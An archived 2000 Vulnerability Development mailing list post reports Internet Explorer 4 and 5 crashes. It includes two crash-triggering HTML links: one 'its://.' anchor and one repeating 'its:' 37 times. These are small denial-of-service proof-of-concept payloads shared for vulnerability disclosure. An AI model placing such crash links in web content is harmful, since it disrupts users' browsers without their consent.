Vulnerability Development mailing list archives

Re: its: recursion


From: slide () TELLURIAN COM AU (Sean Burford)
Date: Thu, 10 Feb 2000 13:33:30 +1030


A single its://. href is enough to crash ie 5.00.2919.63071C for me.  I'm
running NT 4 SP6a.

Example: <A HREF="its://.">do not click me</A>

Put 37 concatenated "its:" strings as a target url and IE4 crashes
when trying to handle that url.. No I don't know if you wanted
to know this.
<a
href="its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:.">do
not click me</a>


Current thread: